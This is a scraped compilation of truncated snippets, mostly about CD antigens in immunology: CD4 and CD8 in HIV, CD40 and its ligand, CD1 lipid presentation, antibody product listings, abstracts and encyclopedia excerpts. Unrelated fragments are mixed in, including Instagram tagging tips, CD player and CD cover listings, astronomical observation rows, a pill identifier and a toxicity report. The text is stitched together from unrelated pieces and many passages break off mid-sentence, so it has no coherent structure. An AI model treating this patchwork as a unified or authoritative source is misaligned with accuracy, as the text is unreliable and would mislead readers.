Dear Ralph, I appreciate your questions and I think thay are valid and worth exploring. However, I think that I must clarify my point a bit. I am not implying that the CD8 cells are the worst hit by the virus. (Forgive the sensationalism of my first posting... this was meant to call attention to my article) Of course the CD4 cells are the worst hit because they carry the CD4 antigen constantly, thus their name. What I _am_ implying is that the CD8 cells must also be effected by the virus due to their positivity for CD4 during their development. Since CTL (the cells responsible for killing virally infected cells) are CD8 cells, any effects (quantitative or qualitative) on this compartment must be important in the pathogenisis of a viral disease. McMichael et al have reported that CTL response to viral peptide epitopes in the MHC class molecule dissipate at the end stage of HIV disease. This could be explained by the slow and steady exhaustion of CD8 precursers via infection by HIV when these ...
CD4 receptor - MedHelps CD4 receptor Center for Information, Symptoms, Resources, Treatments and Tools for CD4 receptor. Find CD4 receptor information, treatments for CD4 receptor and CD4 receptor symptoms.
Its easy to upload and share photos on Instagram and some customers are just contented with doing just that. But there are more methods to spice up your presence and appeal to more followers on the platform.. Engagement continues to be key in social networking and on Instagram, customers of all types together with business owners who want to improve engagement on the site can do so through numerous strategies.. Tag Photos. Tagging a photo is a sure option to achieve likes and comments on the photo sharing app, Instagram. This was confirmed by a study carried out by Dan Zarrella entitled The Science of Instagram.. It is possible to tag people on Instagram photos. In fact, a user can tag up to 30 people in a single photo.. And aside from people, you can also tag your location.. While you tag people, you might be exposing your photograph to more people. The individuals you tag can be notified rising the probability of your photograph getting a like or comment. The buddies and followers of the ...
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Cd82 - Cd82 (untagged) - Mouse CD82 antigen (Cd82), transcript variant 2, (10ug) available for purchase from OriGene - Your Gene Company.
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CD84 (Cluster of Differentiation 84) is a human protein encoded by the CD84 gene.. Members of the CD2 (see MIM 186990) subgroup of the Ig superfamily, such as CD84, have similar patterns of conserved disulfide bonds and function in adhesion interactions between T lymphocytes and accessory cells. ...
MojoSort™ Mouse CD19 Nanobeads - CD19+ expressing cells are either selected or depleted by incubating your sample with the directly conjugated CD19 Nanobeads.
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JWIN JWIN JX-CD8500 4 CD/MP3 Vertical Loading System Model: jx-cd8500 Condition: New Description: JX-CD8500 4 CD/MP3 CD VERTICAL LOADING HI
How to Design CD Covers. Designing your own CD covers for mixtapes, burned CDs, or to replace your old worn out ones is a project with a lot of possibilities. You can print out computer-generated covers to size, or make you own CD covers...
Various 2nd Square Root Of 529 CD2 (1996) This misc cd contains 12 tracks and runs 77min 8sec. Freedb: a612120c Buy: from
2001 05 22.20858 16 06 45.68 -20 01 22.4 22.0R 01KG76 807 Cd1817 2001 05 22.28897 16 06 45.29 -20 01 21.3 01KG76 807 Cd1817 2001 06 10.02875 16 05 16.38 -19 57 27.3 22.9R 01KG76 304 Cd1817 2001 06 10.10380 16 05 16.05 -19 57 26.3 01KG76 304 Cd1817 2001 08 19.03454 16 02 18.80 -19 50 35.3 21.4R 01KG76 807 Cd7687 2001 08 20.03188 16 02 19.15 -19 50 37.8 01KG76 807 Cd7687 2001 08 21.03938 16 02 19.58 -19 50 40.7 01KG76 807 Cd7687 2002 04 07.29240 16 15 09.97 -20 25 16.3 21.6R 01KG76 807 Cf4617 2002 04 07.38861 16 15 09.68 -20 25 15.6 01KG76 807 Cf4617 2002 05 12.03950 16 12 54.85 -20 19 22.5 01KG76 950 Cf4617 2002 05 12.08513 16 12 54.63 -20 19 21.8 01KG76 950 Cf4617 2002 05 12.13062 16 12 54.41 -20 19 21.3 01KG76 950 Cf4617 2002 05 13.04812 16 12 50.15 -20 19 10.5 01KG76 950 Cf4617 2002 05 13.11749 16 12 49.83 -20 19 09.6 01KG76 950 Cf4617 2002 07 10.99718 16 08 34.27 -20 08 36.4 22.2R 01KG76 304 Cf9823 2002 07 11.20921 16 08 33.59 -20 08 35.0 01KG76 304 Cf9823 2002 07 13.10322 16 08 27.82 -20 08 ...
SCD1小鼠单克隆抗体[CD.E10](ab19862)可与小鼠, 大鼠, 人样本反应并经WB, IP, ELISA, IHC, Flow Cyt, ICC/IF实验严格验证,被13篇文献引用并得到6个独立的用户反馈。
CD4 cells protect the body from infection by circulating in the blood to identify bacteria and viruses then produce antibodies to destroy them. CD4 cells also trigger the body to respond to infection...
CD8 T 세포는 바이러스나 박테리아와 같은 병원체 및 종양, 이식된 장기 등에서 발현되는 외부 항원을 인지하고 이 외부항원을 발현하는 세포를 제거하는 기능을 갖는 세포독성 T 세포이다. 외부항원들에 대한 CD8 T 세포 기억의 형성은 차 후 이 항원들에 재노출되었을 때 강하고 빠른 면역 반응을 일으켜, 감염 병원체나 종양을 퇴치하는데 기여하기 때문에 면역력 향상에 중요한 요인이다. 감염 병원체 항원에 대한 백신을 접종하는 이유는 바로 이와 같은 T 세포 기억을 형성하기 위함이다. 반대로, 특정 항원에 대한 CD8 T 세포의 관용 (tolerance)이 형성하게 되면 그 항원들이 제거되지 않고 받아들여지게 되는데, 이식거부 반응이나 자가면역질환이 억제되기 위해서는 이식 항원이나 자가 항원에 대한 관용의 형성이 중요하다 ...
ഒരുപോലെയിരിക്കുന്ന ശരാശരി വലിപ്പമുള്ള ലിംഫോസൈറ്റുകളാണ് സൂക്ഷ്മദർശിനിയിലൂടെ ദൃശ്യമാവുക. നക്ഷത്രപൂരിതമായ ആകാശം എന്നാണ് ഈ സൂക്ഷ്മദർശിനി ദൃശ്യത്തെ വിശേഷിപ്പിക്കുന്നത്.[4] ഈ ലിംഫോസൈറ്റുകൾക്ക് ക്ഷാരാഭിമുഖ്യമുള്ള കോശദ്രവ്യം ഉണ്ടാകും. ചെറിയ മുറിയാത്ത കോശങ്ങൾ എന്നാണ് ബർക്കിറ്റ് ലിംഫോമയിലെ ലിംഫോസൈറ്റുകളെ വിശേഷിപ്പിക്കുന്നത്. ബി-കോശ വ്യതിരക്ത മാർക്കറുകളായ CD20, CD22, CD19 എന്നിവ ...
Pill with imprint cardizem CD 300 mg is Blue & Gray, Capsule-shape and has been identified as Cardizem CD 300 mg. It is supplied by BTA Pharmaceuticals.
High-quality CD177 proteins from ACROBiosystems. Various species and tags of CD177 proteins. Minimal Batch-to-Batch Variation. Bulks in stock.
|jats:p|CD40-CD40 ligand (CD40L) interaction is required for the generation of antibody responses to T-dependent antigens as well as for the development of germinal centers and memory B cells. The role of the CD40-CD40L interaction in the induction of antigen-specific. Th cells and in mediating Th cell effector functions other than cognate help for B cells is less well understood. Using CD40- and CD40L-deficient mice together with lymphocytic choriomeningitis virus and vesicular stomatitis virus as viral model antigens, this study corroborates earlier findings that no lg isotype switching of virus-specific antibodies was measurable upon infection of CD40- or CD40L-deficient mice. In contrast, in vivo induction of virus-specific CD4+ T cells measured by proliferation and cytokine secretion of primed virus-specific Th cells in vitro was not crucially dependent on the CD40-CD40L interaction. In addition, virus-specific Th cells primed in a CD40-deficient environment, adoptively transferred into CD40
CD1c-dependent self-reactive T cells are abundant in the blood of healthy neonates and adults (17, 18), but the endogenous lipid antigens that are presented by CD1c to these T cells have remained unknown. Guided by the new CD1c-SL structure presented here, we now find that CD1c can bind CE and ASG, and that both these ligand classes enable the binding of self-reactive T-cell receptors to CD1c. Two previous CD1c structures, CD1c-PM and CD1c-MPM, had revealed how CD1c binds and presents methylated monoalkyl chain ligands such as mycobacterial mycoketides (7, 12). In both CD1c-PM and CD1c-MPM a single mycoketide molecule was bound to the A′ channel, in analogy to the arrangement seen for the stearic acid in CD1c-SL. Together CD1c-SL, CD1c-PM, and CD1c-MPM thus illustrate a certain promiscuity of the A′ channel, which is the most conserved region of the CD1 groove for ligand binding.. CD1c-PM and CD1c-MPM complexes are exclusively recognized by mycoketide-specific human T cells, but not by CD1c ...
Like most mammalian species, humans express several structurally distinct CD1 antigen-presenting molecules. The conservation of large CD1 gene families among most mammals suggests that each type of CD1 protein has distinct functions that confer selective advantage. Cellular studies of CD1 proteins increasingly explain how each CD1 protein differs from the others. CD1a, CD1b, CD1c, and CD1d have distinct antigen groove structures, patterns of expression in tissues, intracellular trafficking, and trigger T cells expressing diverse TCRs (Kasmar et al., 2009). CD1d (group 2) diverges most clearly from CD1a, CD1b, and CD1c (group 1) with regard to protein sequence. Also, group 1 and group 2 CD1 proteins show differing transcriptional responses to pathogens, suggesting that they function at different stages of the immune response (Roura-Mir et al., 2005b). Collectively, these cellular studies suggest that group 1 and group 2 CD1 proteins likely have differing roles in immune responses.. The majority ...
Results Cultured cells started to express CD14 on the day 12 and more than 90% of the cells expressed CD14 on the day 21 in the monocyte differentiation induction course. According to the expression levels of CD14, the cell population was divided into three groups: CD14 (−), CD14 (+) and CD14 (++). CD15 (+) cells were observed in CD14 (−) and CD14 (+) population but not in CD14 (++) population. The CD15+ cells in CD14 (+) transiently appeared in RA-iPS derived cells at 11.9±2.8% (mean ± SE) on day15. However these cell proportion in NOF was1.7±2.0%. Meanwhile, CD15+ cells in CD14 (−) proportion decreased during monocyte differentiation in RA-iPS cells, but remained in NOF-iPS cells (representative data, RA 31.5, 20.6, 15.6%, NOF 47.3, 46.1, 47.3%, on day15, 18 and 21).. ...
Clone FGK45.5 recognizes the mouse CD40 antigen, a 40-50 kDa glycoprotein and member of the tumor necrosis factor receptor (TNFR) superfamily. CD40 is expressed on B lymphocytes, macrophages, and dendritic cells and is an important costimulatory molecule for B cells as well as dendritic cells, monocytes, and other antigen-presenting cells (APCs). The interaction of CD40 on B cells with its ligand CD154 is involved in B cell activation and differentiation; engagement of CD40 on dendritic cells leads to maturation. Clone FGK45 can be used for blocking of CD40/CD154 interaction and for in vitro and in vivo activation of CD40-expressing APCs. - USA
|span style=font-family:Times,serif;font-size:9pt;>The L293 monoclonal antibody specifically binds to CD28 which is also known as Tp44 or T44. The CD28 antigen is a 44 kDa homodimeric type I transmembrane glycoprotein which is present on most mature T cells, thymocytes, and plasma cells. CD28 is a cell-adhesion molecule (CAM) that functions as a receptor for CD80 (B7-1) and CD86 (B7-2) antigens, which are present on activated B lymphocytes, monocytes, and dendritic cells. Interaction of the CD28 antigen with CD80 or CD86 antigens, or both, co-stimulates CD2 and CD3 antigen/T-cell antigen receptor (TCR)-dependent T-cell-mediated proliferation and cytotoxicity. The L293 antibody has been demonstrated to bind to the same molecule as clone CD28.2, another CD28-specific antibody.|/span>
Despite improvements in antimicrobial therapy and supportive care, sepsis is still a major public health issue. Recently, CD100 and its receptor in the immune system CD72 were shown to play a major role in immune regulation. The purpose of this study was to investigate the expression and clinical correlations of CD72 and CD100 on circulating lymphocytes of septic patients. In total, 24 healthy controls and 54 septic patients were enrolled in this study. Considering the focus of the current study was on the immunosuppressive phase of sepsis, blood samples of patients were collected at days 3-4 after the onset of sepsis. The levels of CD72 and CD100 expression on circulating lymphocytes were measured by flow cytometry and serum IL-6, IL-10, and immunoglobulin M levels were determined by enzyme-linked immunosorbent assay. Our results showed that the levels of CD100 expression on T cells and CD72 expression on B cells were significantly lower in septic patients. Similarly, a significant decrease in the
CD4+/CD8+/CD3+ cells are 1-4% range of the lymphocyte population from our HIV+ patients. Most of the cells are brightCD4+/dimCD8+ but all combinations of bright and dim are possible. We include these dual positive cells in both the CD3+/CD4+ and CD3+/CD8+ counts. What do other labs do with these cells and why? -----Original Message----- From: Kenneth Ault [mailto:aultk at] Sent: Wednesday, October 31, 2001 7:32 PM To: cyto-inbox Subject: Re: cd4 cd8 coexpression A phenomenon frequently forgotten is coincidence. If two cells enter the observation volume at the same time they will be seen as one event with the properties of both cells. This is a very common problem in my world (platelets) and should be considered as a possible explanation for any kind of unexpected dual expression of markers. It would be interesting to know if the frequency of CD4/CD8 doubles changes as the particle flow rate changes (i.e change the sample pressure or dilute the specimen.) Ken Ault ...
TY - JOUR. T1 - Comparable impact of mutational and selective influences in shaping the expressed repertoire of peripheral IgM+/CD5- and IgM+/CD5+ B cells. AU - Dörner, Thomas. AU - Brezinschek, Hans Peter. AU - Foster, Sandra J.. AU - Brezinschek, Ruth I.. AU - Farner, Nancy L.. AU - Lipsky, Peter E.. PY - 1998/2. Y1 - 1998/2. N2 - Somatic hypermutation and subsequent selection play a significant role in shaping the peripheral B cell repertoire. This repertoire is composed of CD5+ (5%) and CD5- B cells (95%) which are known to traffic through different lymphoid compartments. Previous studies have shown that V(H) gene usage by CD5+ and CD5- B cells is similar, although mutations are more frequent in the latter. However, the effect of mutation and subsequent selection on the expressed V(H) repertoire of CD5+ and CD5- B cells has not been delineated in detail. This study, therefore, analyzed the mutational pattern of individual IgM+/CD5+ and IgM+/CD5- B cells. In both populations, mutations can ...
CD137 (4-1BB, Tnsfr9) is a member of the TNF-receptor (TNFR) superfamily without known intrinsic enzymatic activity in its cytoplasmic domain. Hence, akin to other members of the TNFR family, it relies on the TNFR-Associated-Factor (TRAF) family of adaptor proteins to build the CD137 signalosome for transducing signals into the cell. Thus, upon CD137 activation by binding of CD137L trimers or by crosslinking with agonist monoclonal antibodies, TRAF1, TRAF2, and TRAF3 are readily recruited to the cytoplasmic domain of CD137, likely as homo- and/or heterotrimers with different configurations, initiating the construction of the CD137 signalosome. The formation of TRAF2-RING dimers between TRAF2 molecules from contiguous trimers would help to establish a multimeric structure of TRAF-trimers that is probably essential for CD137 signaling. In addition, available studies have identified a large number of proteins that are recruited to CD137:TRAF complexes including ubiquitin ligases and proteases, kinases, and
CD200 (OX2) is a broadly distributed cell surface glycoprotein that interacts with a structurally related receptor (CD200R) expressed on rodent myeloid cells and is involved in regulation of macrophage function. We report the first characterization of human CD200R (hCD200R) and define its binding characteristics to hCD200. We also report the identification of a closely related gene to hCD200R, designated hCD200RLa, and four mouse CD200R-related genes (termed mCD200RLa-d). CD200, CD200R, and CD200R-related genes were closely linked in humans and mice, suggesting that these genes arose by gene duplication. The distributions of the receptor genes were determined by quantitative RT-PCR, and protein expression was confirmed by a set of novel mAbs. The distribution of mouse and human CD200R was similar, with strongest labeling of macrophages and neutrophils, but also other leukocytes, including monocytes, mast cells, and T lymphocytes. Two mCD200 receptor-like family members, designated mCD200RLa and
CD154 (CD40 Ligand), APC, clone: MR1, eBioscience™ 100μg; APC CD154 (CD40 Ligand), APC, clone: MR1, eBioscience™ Primary Antibodies CD151 to CD200
Research in the past few years has documented significant advances in our understanding of the CD40-CD40 ligand (CD154) system in diverse immune functions. This system influences many T cell mediated inflammatory immune responses and effector functions, unmasking a previously unexpected role for CD40-CD154 in cell mediated immunity. Manipulation of CD154 in animal models of infection by the use of CD154-deficient mice or anti-CD154 antibodies has shown the importance of this system in the initiation of the inflammatory response, in the activation of antigen-presenting cells and in resistance to infections ...
CD154 (CD40 Ligand), FITC, clone: 24-31, eBioscience™ 100 Tests; FITC CD154 (CD40 Ligand), FITC, clone: 24-31, eBioscience™ Primary Antibodies CD151 to CD200
As with any breakthrough, new questions arise and new experiments become feasible.....One problem, however, is that CD32a is a marker for only 50% of the reservoir, whereas the eradication of latent HIV would require a much greater reduction in the number of latently infected cells in the body. Moreover, targeting CD32a would also make the antigen-presenting cells that normally express CD32a vulnerable to destruction, which might well cause unwanted or harmful side effects.....Second, the authors studied CD4 lymphocytes from the blood, but these circulating cells account for 2%, at most, of the CD4 T cells in the body2. It remains to be seen whether CD32a is as good a marker for latently infected cells in the lymph nodes, bone marrow, gut and other tissues. Perhaps more markers could be identified from the 103 differentially expressed genes found in the researchers screen - analysis of these proteins in combination with CD32a might increase the total proportion of identifiable latent ...
Results Activated B cells restrained the development of monocytes into immature DCs and their differentiation into mature DCs. They decreased the density of HLA-DR from mature DCs, the expression of CD80 and CD86 co-activation molecules, the production of IL-12p70 required for antigen presentation and Th1 differentiation. They also inhibited the DC-induced T cell proliferation. These modulations were mediated by CD19+IgDlowCD38+CD24lowCD27- B cells and needed CD62L interaction for the control of CD80 and CD86 expression, and a soluble factor for the control of IL-12 production. Finally, mature DCs from SLE patients displayed insensitivity to the regulation of IL-12 by both normal and SLE B cells.. ...
Cell Density Cell densities in the 31, 63, 130, 250, 500 and 1000 mg a.i./L treatment levels averaged 83, 136, 137, 89, 11 and 0 x 10E4 cells/mL, respectively. Statistical analysis based on Williams Test determined a significant reduction in cell density in all treatment level tested as compared to the pooled control. Based on Williams Test the NOEC was determined to be ,31 mg a.i./L. Additional statistical analysis (Bonferronis Test) determined a significant reduction in cell density in the 31, 250, 500 and 1000 mg a.i./L treatments. The effect on the 31 mg a.i./L treatment level is not considered treatment-related since the two higher concentrations (63 and 130 mg a.i./L) were not affected and were less than 10% inhibited. Therefore, the NOEC was determined to be 130 mg a.i./L. The 96 hour EC50 for cell density was calculated to be 260 mg a.i./L, with 95% confidence intervals of 190 and 360 mg a.i./L. Biomass Biomass in the 31, 63, 130, 250, 500 and 1000 mg a.i./L treatment levels averaged ...
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CD4 (helper cells) 43% (30-61) Absolute CD4 + cells 527 (490-1740) CD8 (supressor T cells) 28% (12-42) Absolute CD8+ cells 340 (180-1170)...
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... chimeric antigen receptor T cell therapy using CD19-directed CAR-T cells; and lenalidomide, a drug with multiple anti-tumor ... a monoclonal antibody that binds CD40; Siglec-3 a monoclonal antibody that binds CD33; blinatumomab, a monoclonal antibody that ...
... it is hypothesized that B cell movement is motivated by increased exposure to the antigen. Six hours after antigen exposure, ... Following B cell receptor and CD40 co-stimulation, EBI2 is again upregulated. The B cells thus move back toward the outer ... Antigen-activated dendritic cells are driven to lymph node bridging channels via the oxysterol-EBI2 pathway. In the spleen, ... Here, B cells interact with T helper cells previously activated by antigen-presenting dendritic cells. Though CCR7 is the ...
It binds to CD40 on antigen-presenting cells (APC), which leads to many effects depending on the target cell type. In total ... Roles of T cell-B-cell-activating molecule (5c8 antigen) and CD40 in contact-dependent help". Journal of Immunology. 149 (12): ... Grewal, IS; Xu, J; Flavell, RA (7 December 1995). "Impairment of antigen-specific T-cell priming in mice lacking CD40 ligand". ... ISBN 0-8153-4093-1. Tong AW, Stone MJ (March 1996). "CD40 and the effect of anti-CD40-binding on human multiple myeloma ...
Dendritic cells are antigen presenting cells (APCs) in the mammalian immune system. In cancer treatment they aid cancer antigen ... Dendritic cell receptors such as TLR3, TLR7, TLR8 or CD40 have been used as antibody targets. Dendritic cell-NK cell interface ... Unlike CAR-T's cell surface antigens, TCR-T can recognize that larger set of intracellular antigen fragments. However, TCR-T ... Antigens can be added to the antibody and can induce the dendritic cells to mature and provide immunity to the tumor. ...
CD40: This molecule, found on a variety of immune system cells including antigen presenting cells has CD40L, otherwise known as ... CD40 signaling is known to 'license' dendritic cells to mature and thereby trigger T-cell activation and differentiation. A now ... CD27: This molecule supports antigen-specific expansion of naïve T cells and is vital for the generation of T cell memory. CD27 ... The ligand for GITR is mainly expressed on antigen presenting cells. Antibodies to GITR have been shown to promote an anti- ...
For example, when an antigen-presenting cell displays a peptide antigen on MHC class II proteins, a CD4+ cell will aid those ... Richard Armitage at Immunex cloned a cDNA encoding CD154 by screening an expression library with CD40-Ig. Randolph Noelle at ... During an immune response, professional antigen-presenting cells (APCs) endocytose antigens (typically bacteria or viruses), ... that a host antigen is foreign. As a result, the CD8+ T cells treat the host cell presenting that antigen as infected, and go ...
July 2002). "Anti-lymphocyte function-associated antigen-1 monoclonal antibody inhibits CD40 ligand-independent immune ... It is a mouse monoclonal antibody directed against the alpha chain of the protein lymphocyte function-associated antigen 1 ... responses and prevents chronic vasculopathy in CD40 ligand-deficient mice". Transplantation. 74 (1): 35-41. doi:10.1097/ ...
... including antigen receptor engagement, lipopolysaccharide (LPS), IL-4, and CD40. IRF4 can function either as an activating or ... IRF4 expression is necessary for ensuring that monocyte-derived dendritic cells (Mo-DCs) can cross-present antigen to CD8+ ... CD40, GM-CSF, IL-4, Ikaros, IRF8, JMJD3, MMP12, NFATC2, SPI1, and STAT6. Interferon regulatory factors GRCh38: Ensembl release ... it is also the current HGNC official symbol for melanoma associated antigen (mutated) 1 (HGNC:29641; located at 19p13.3). ...
"The linkage of innate to adaptive immunity via maturing dendritic cells in vivo requires CD40 ligation in addition to antigen ... Noteworthy is the production of interleukin 2 (IL-2) as well as ɑ-chain of CD25 (which is a receptor of IL-2), CD40 ligand, ... If the interaction between an antigen-presenting cell and a T-cell is stable enough, the T-cell can remove the CD80 from the ... Nolan A, Weiden M, Kelly A, Hoshino Y, Hoshino S, Mehta N, Gold JA (February 2008). "CD40 and CD80/86 act synergistically to ...
In these cells, a small amount of LYN is associated with cell surface receptor proteins, including the B cell antigen receptor ... Ren CL, Morio T, Fu SM, Geha RS (Feb 1994). "Signal transduction via CD40 involves activation of lyn kinase and ... Brown VK, Ogle EW, Burkhardt AL, Rowley RB, Bolen JB, Justement LB (Jun 1994). "Multiple components of the B cell antigen ... Yamamoto T, Yamanashi Y, Toyoshima K (Apr 1993). "Association of Src-family kinase Lyn with B-cell antigen receptor". ...
... genetically engineered adenovirus vector targeted to CD40 mediates transduction of canine dendritic cells and promotes antigen- ... Adenovirus dodecahedron can qualify as a potent delivery platform for foreign antigens to human myeloid dendritic cells (MDC), ... In the laboratory, adenovirus can be identified with antigen detection, polymerase chain reaction (PCR), virus isolation and ... can deliver DNA coding for specific antigens. Adenovirus have been used to produce viral vector COVID-19 vaccines. "In four ...
... s are capable of expressing MHC Class II, a type of MHC expressed only by certain antigen presenting cells of the ... Importantly, melanocytes stimulated by cytokines express surface proteins such as CD40 and ICAM1 in addition to MHC class II, ... In addition to presenting antigen, one of the roles of melanocytes in the immune response is cytokine production. Melanocytes ... presentation of antigens to T-cells; and production and release of cytokines. Although melanocytes are dendritic in form and ...
... which binds and stimulates the B cell surface receptor CD40. TFH cell-dependent paracrine activation of B cell CD40 results in ... Therefore, in the absence of TFH cells, similar to B cell activation by T-cell independent antigens, a quick burst of low ... Follicular helper T cells (also known as follicular B helper T cells and abbreviated as TFH), are antigen-experienced CD4+ T ... May 2009). "T follicular helper cells differentiate from Th2 cells in response to helminth antigens". J Exp Med. 206 (5): 991-9 ...
Bone marrow tumour cells express the following antigen targets CD20 (98.3%), CD22 (88.3%), CD40 (83.3%), CD52 (77.4%), IgM ( ... The following signalling pathways have been implicated: CD154/CD40 Akt ubiquitination, p53 activation, cytochrome c release NF- ... "Expression of serotherapy target antigens in Waldenstrom's macroglobulinemia: therapeutic applications and considerations". ...
... antigens to T cells, facilitating antigen-specific immune responses. Professional APCs express MHC class II and CD40 molecules ... APC Activators (or Antigen-presenting cell activators) are a type of immunotherapy which leverages antigen-presenting cells ( ... Hughes, Catherine E.; Benson, Robert A.; Bedaj, Marija; Maffia, Pasquale (2016). "Antigen-Presenting Cells and Antigen ... Professional antigen-presenting cells - including dendritic cells, macrophages, and B cells - serve an indispensable role in ...
... class switching does not affect antigen specificity. Instead, the antibody retains affinity for the same antigens, but can ... If these activated B cells encounter specific signaling molecules via their CD40 and cytokine receptors (both modulated by T ... After activation by antigen, these B cells proliferate. ... immunoglobulin G isotype switch recombination in human CD40- ...
... surface receptors like CD91 and CD40 and also facilitate crosspresentation of antigens derived from tumour cells on MHC class I ... On the cell surface they have an immunostimulatory effect, based on their interaction with number of antigen-presenting cell ( ... The immunogenicity of a specific cell death is determined by antigens and adjuvant released during the process. Accidental cell ... a marker of late ICD and its release to the extracellular space seems to be required for the optimal presentation of antigens ...
... regulates B cell activation by increasing the BCR activation threshold and suppressing B cell mediated antigen ... but is also functional on other B-cell activation pathways mediated by CD40 and IL-4. FCGR2B expression on follicular dendritic ... "Recruitment and activation of PTP1C in negative regulation of antigen receptor signaling by Fc gamma RIIB1". Science. 268 (5208 ... cells (FDCs) is important for capturing the antigen-containing immune complexes which are essential for the germinal centre ...
... antigens, cd36 MeSH D23.050.301.264.035.138 - antigens, cd38 MeSH D23.050.301.264.035.140 - antigens, cd40 MeSH D23.050.301.264 ... antigens, cd19 MeSH D23.050.301.264.051.120 - antigens, cd20 MeSH D23.050.301.264.051.140 - antigens, cd40 MeSH D23.050.301.264 ... antigens, cd36 MeSH D23. - antigens, cd38 MeSH D23. - antigens, cd40 MeSH D23. - ... antigens, cd19 MeSH D23. - antigens, cd20 MeSH D23. - antigens, cd40 MeSH D23.101.100.894 - ...
T cells that express the T cell receptor which recognizes the antigen-MHCII complex (with co-stimulatory factors- CD40 and ... Eventually, the antigen presentation results in the production of antibodies that attach to the antigens of pathogens, making ... the antigen is endocytosed and processed. The processed antigen is then presented in MHCII on the surface of the B-cell. ... The antigen presentation on the surface of infected macrophages (in the context of MHC class II) in a lymph node stimulates TH1 ...
Major patents include: 2003- Induction of anti-tumor CTL immunity through in vivo triggering of 4-1BB and/or CD40 2007 - Long ... "US Patent Application for Long peptides of 22-45 amino acid residues that induce and/or enhance antigen specific immune ... "US Patent Application for Induction of anti-tumor ctl immunity through in vivo triggering of 4-1bb and/or cd40 Patent ... 2014 - Checkpoint blockade cancer immunotherapy targets tumour-specific mutant antigens Member of the Research Council of the ...
... anti-CD40) that are conjugated with antigen of interest. Future approach may target DC subsets based on their specifically ... Dendritic cells (DC) can be stimulated to activate a cytotoxic response towards an antigen. Dendritic cells, a type of antigen- ... causing them to display the antigen. Upon transfusion into the person, these activated cells present the antigen to the ... March 2005). "CD8+ T cell immunity against a tumor/self-antigen is augmented by CD4+ T helper cells and hindered by naturally ...
... activation of NKT cell and upregulation of CD40 and CD40L mediated by M. leprae antigen(s) combined with Murabutide and Trat ...
... phospholipid antigen lysophosphatidylcholine and some other phospholipid, and lysophospholipid antigens, including ... Furthermore, type I NKT cells upregulate the costimulatory receptor CD154 (CD40 ligand), which, in conjunction with their ... Thus, type II NKT cells seem to recognize diverse antigens presented by CD1d and given that these cells seem to be more ... This leads to a more efficient presentation of antigen to MHC-restricted adaptive T cells, activation of NK cells and enhanced ...
The costimulatory signal necessary to continue the immune response can come from B7-CD28 and CD40-CD40L interactions. When CD40 ... This is also called "Signal 1" and its main purpose is to guarantee antigen specificity of the T cell activation. However, MHC ... B7 is a type of integral membrane protein found on activated antigen-presenting cells (APC) that, when paired with either a ...
The co-stimulatory molecule CD40/CD40L along with the danger presence of an exogenous antigen are catalysts for dendritic cell ... Similarly to the vacuolar pathway, antigens are taken into the cell through endocytosis. Antigen proteins are transported out ... in vivo dendritic cells have been found to be the most efficient and common antigen presenting cells to cross present antigens ... Once the exogenous antigen peptide is loaded onto the MHC class I molecule, the complex is exported to the cell surface for ...
... endocytosis of antigen bound to the BCR and its routing to late endosomes to facilitate loading of antigen-derived peptides ... Their functions include signaling by BCR, modulation of that signaling by co-receptors, signaling by CD40, ... T cell antigen receptor signalling, B cell antigen receptor signalling, EGF receptor signalling, insulin receptor signalling ... The process of B cell antigen receptor signalling is similar to Immunoglobulin E signalling and T-cell antigen receptor ...
"Heat shock protein derivatives for delivery of antigens to antigen presenting cells". International Journal of Pharmaceutics. ... CD40), MHC molecules and pro-inflammatory and Th1 cytokines. HSP70 was shown to react to DAMP release, causing an influx of ... "Human heat shock protein 70 enhances tumor antigen presentation through complex formation and intracellular antigen delivery ... Tumor cells usually express only a few neo-antigens, which can be targeted by immune system and also not all tumor cells ...
For example, the ligation of CD40 monoclonal antibodies and CD40 on tumor cells license antigen-presenting cells (predominantly ... Upon injection, these homogenous antibodies produced from a single B cell can target a specific epitope on the antigen. The ... Briefly, the C1 protein attaches to the pathogen surface and the antibody-antigen complex that culminates in the generation of ... Therefore, immune cells can recognize the surface antigens on the tumor cells to elicit immune responses. Examples of drugs ...
Interaction between CD40 ligand on an activated T helper cell and the B cell CD40 receptor induces centroblasts to express ... Centroblasts do not express immunoglobulins and are unable to respond to the follicular dendritic cell antigens present in the ... allowing the B cell receptor to potentially gain stronger affinity for an antigen. In the absence of FDC and helper T cell ...
"Revised nomenclature for antigen-nonspecific T cell proliferation and helper factors". Journal of Immunology. 123 (6): 2928-9. ... Kostimulacija aktiviranja i proliferacije CD8+ T-ćelija, povećava NK citotoksičnost i proliferaciju B-ćelija vođenu CD40, ...
Every helper T-cell is specific to one particular antigen. Only professional antigen-presenting cells (APCs: macrophages, B ... 1997). "In Vivo Microbial Stimulation Induces Rapid CD40 Ligand-independent Production of Interleukin 12 by Dendritic Cells and ... Their main function is to process antigen material and present it on the cell surface to the T cells of the immune system. They ... Here they act as antigen-presenting cells: they activate helper T-cells and killer T-cells as well as B-cells by presenting ...
SAg stimulation of antigen presenting cells and T-cells elicits a response that is mainly inflammatory, focused on the action ... SAg activation in T-cells leads to production of CD40 ligand which activates isotype switching in B cells to IgG and IgM and ... Compared to a normal antigen-induced T-cell response where 0.0001-0.001% of the body's T-cells are activated, these SAgs are ... This occurs because a cognate antigen activates a T cell not because of its structure per se, but because its affinity allows ...
Human leukocyte antigen-DRB1*15 haplotype is a potential risk factor of MS. Because of the increased likelihood of the mother's ... CD40, and CD80. DNA methylation is the epigenetic process by which methyl groups are added to either adenine or cytosine bases ... The CTLA-4 gene produces an antigen of the same name that is presented on killer T-cells and allows for the suppression of the ... Methylation of this gene represses production of the antigen CTLA-4-a pattern seen in a significant majority of myasthenia ...
So if TCR exhibit high or inappropriate affinity for the self antigen expressed on mTEC, the thymocyte will be destroyed. mTEC ... CD40, lymfotoxin β receptor (LTβR) and Hedgehog signaling pathway, which could reduce TEC cells in fetal and postnatal thymus. ... Aire mediates negative selection of auto-reactive T-cells and organ-specific antigens' expression on mTECs. The outcome of a ... Alexandropoulos, Konstantina; Danzl, Nichole M. (28 March 2012). "Thymic epithelial cells: antigen presenting cells that ...
... which is a glycoprotein that serves as a ligand for macrophage-1 antigen (Mac-1) and lymphocyte function-associated antigen 1 ( ... as well as costimulatory molecules CD40 and CD86. Experiments with animal models have shown that, even after UV inactivation, ... which is a glycoprotein that serves as a ligand for macrophage-1 antigen (Mac-1) and lymphocyte function-associated antigen 1 ( ... July 2008). "Antigen-specific T-cell induction by vaccination with a recombinant Sendai virus vector even in the presence of ...
